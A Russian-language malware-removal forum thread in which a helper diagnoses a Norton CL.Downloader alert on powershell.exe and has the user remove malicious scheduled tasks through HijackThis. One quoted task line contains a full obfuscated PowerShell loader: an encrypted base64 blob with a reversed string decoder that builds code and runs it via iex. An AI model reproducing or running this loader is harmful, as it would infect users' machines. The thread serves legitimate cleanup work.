Norton Security находит файл powershell.exe (CL.Downloader!gen11)

[Света68]

Здравствуйте! Антивирус Norton Security находит угрозу безопасности CL.Downloader!gen11 и вроде даже её удаляет, но тем не менее каждые 15 минут уведомляет об этом. Лог во вложении.
Спасибо

[Info_bot]

Уважаемый(ая) Света68, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора))и пофиксите только эти строки:

O22 - Task: OInstall - C:\WINDOWS\OInstall.exe /activate (file missing)
O22 - Task: \Microsoft\Windows\AppID\AppID - C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -c "$ddd = 'u322UtgkrBG8Q89X1FPIN6RfrQGMTcoYnATvLsoo7HyRbpZ5vHvvKfx36HKcYqIRkGWtfK1ZkUqkOolwxVKlH5IZhGvtUqo9u0SqRvQ332fpPNB24RX8YNkz9Hn5bYhOvmLySt4FiiCaH5AJtzbTMaUhyjHULqI/tDe+Mq460yP+XKNG62bkGJVG0XuIP68ViiKNAZ1i/wnCKbEl4wflfvQqunD7PbBU7Tq4DOFl+kmQFJ9V4wDgEo0TnE3MFv54lmKwN4wnr2/3e9th7Gn4Lsxy7VrcZ7xl4hKAEaI6jCrcApsA1VSaKcsY60HuFeEN6nn0Krcqu3fvTbtmihCjWflpkRWDROkA7FvMAtUUjRO/PL5U8mCKbJcy0Wb0cOx1+E7SPcoTl3jQdOMYzlzMao54lhfAWIYVnyrjH/V26BKxMf155WfzP9ZbpSPrZpwB4FjoaYEFgi+iFvoQxjeNBLoV7GSKafh2rX2IefNksi+gLqJBjWboNZdQ/HG4VNFBvzbYeNNS3keDRoJz9RW9OrAP90rfY/92wzX8cKtd8XHZU704pHPBE8E6wQH9TboRhhSHHb85qG7lepN8lzyjKbdL6H/lfp1qrFTDMfh/rSaLHO13knalK4URnBi1PbYc/WCjPfwD8GLMOKRj8GHlFLcnnFenUeBpkQitPbwX4A7AK4URnBjCLt9CoTvaess1uyCzPeBhpDebNqxMlHCyJrkG3AL1NcEz1hOHHcpLlWLgDvporwz7Sbkov3b1M6RprxH7KdsI+X79MspP1G3sS+AO2V6YGJhP9inBbqko2nvHR8Fw6XLsaqJdjXOiNp13wHDhCJ0b60PGK7sCjRGcFcAj7Rm2KK8UvyPoZv5132Tre9kV+32LBe5+sCyDAZx041+tEsYlmxWaMfhxi3O2N4towTjgeuo7rXWiVI1z3gSLZf174xjQQaQ6n3XFVJoDmF67c+0J6mDICfUHv2P3KsV48WDWVPxw2U3jb6071VLZfOMc4BSVVJpNjBX8NM1c2GqNfZ9xvEr1aP9i/me1PbYninr/V/EOnV6rTYhjkR6PWMAejXChEv157gXlQtdz4nb7fLFdxF7MYIsF7GffbYQElXWuQPsTmF6vFZwi+meVaOVgm1qObvdo9y6gLqU9umLtBax613v0VdFBtj7UNZkUw1KdSYFy5hL0fKlPqh/tbLkis3/wYKtU7T2CBfVj+XXBEs1c1R36FI0dxiSNCOs6oGnofJpglHvPM6BT3UG0Pa9i+DKMZ/t791XcGrYl2HDFWMwC1VSaKf8N83r/TrNCpiajK7dKr0mwVPApyVvkbKUshEDdYvdEuEmTVIdNwBn6bMUj+UjPVNM87inVc/0q32eabuIGhXD+ZvUUnkC7f9w8nQHIR8ELzH+xX70ooyj0FalF82j7cus02AnsYJwNo17leoABlG7oA6ctnQSNCMBU62aQYqc3jFLLQb5S6GPvWqhrwS6iIpR64XC4VMMB+TbYadELzB/VUtgl8RjzYO4dtQ25KKAg42z6ePgV5HGBCfl3qWfYRJ8p9RHrE5wCgR6PWK84xVzYao19n3G8RPty4Vq2KaVu4knNJaIlvF3cB7FSmX+fBIBZwUvMdf9A+3boRrk513Pidvt8sUDuCOs6vA7uZelhiwetPbwx3SbQXq8VnDLmYIB0ozeRINM8ui3zLasx52bdfv4qny31N7lG3BrsI6dkihm1StI1m2TtDfpX6hLwMfB4+Gz5OcRX5B7pcYsU0DC3XIoikXTjUr0znAKBHo9Yu2aWLqIo2nvHR8Fw6XLsaqJdjXOiNp13wHDhCJ0b60PGK7sCjRGcFcAj7Rm0Ma0XrECvLuNxtyq7ZqUx83iWF8x/+We3BZRu9AHqFNVUjhGEA/ovwXWlRo1siF31bPRytCP5ctMj/k+IZ/1t6UDcGKQ6jj+/FZwijQOYaOIO+juiGt4X8Cffd/J9pA==';iex('$'+'d=([regex]::Matches(''==QKpcSKkRCKn5WayR3UnsyJ0V2RugjRUVlO601ZulGZvNmbF5Cd4VGVu0WZ0NXeTt1JogXZphCI4VWa7kiclJWb15GbhlmclNlLqJ2bkAyKgcCInAyKgwWZk9WTuomYvRCKgkSKkRGZkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1WoAyYlRGI9ACZksjclJWb15GbhlmclNFIswWZk9WTgQ3YlxWZzBCfg03JwUkVJJFRMF0QJNVWIBFXuwFXnAScl1CIElUZjlmdlRkLfRyegUmclh2dgwHIlZXayR2azlGZfJzMul2dgkWb3dGI9Aiai9GJ9tjYjRCIuJXd0Vmc9tyKqRyOzRCIy9Gei1CIdpGJbJGckAicvhnYtASXpRyWiNGJg0DIdlGJbJ2YkszckAicvhnYtASKyUTMgI3bi1CIzRCIk5WYi1CIzIDKg0DIzRCI9BTPqRyepQnb192QuIGckASZn1CIqRCKml2epsyKpRCI7Qnb192QuI2YkACds1CIpRCI7ADI9ASakgicvZ2Ow0jaksTXwslYwRCI9AycksTKzNXYwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgIGcksXKzNXYwRSXn5WayR3cbBCLiNGJd11WlRXeitFKjVGZg42bpR3YuVnZ'',''.'',''RightToLeft'') | ForEach {$_.value}) -join '''';$'+'d=[Sy'+'stem.Te'+'xt'+'.E'+'ncod'+'ing]:'+':U'+'TF'+2*2*2+'.Get'+'Strin'+'g([Sy'+'stem.Conv'+'ert]:'+':FromBa'+'se'+8*8+'String($d));$'+'d|i'+'ex;')"

Сообщите, что с проблемой.

[Света68]

Vvvyg, следовал вашим указаниям и, по всей видимости, проблема решена.
Огромное спасибо!
Нужно ли повторно прикладывать какой-то лог для подтверждения результата?
И еще вопрос, как избежать в дальнейшем подобных атак? Сменить Нортон?

[Vvvyg]

У меня нет статистики, как другие антивирусы реагируют на вредоносный скрипт powershell, так что замену не посоветую. В остальном чисто.

[Света68]

Vvvyg, хорошо, еще раз спасибо!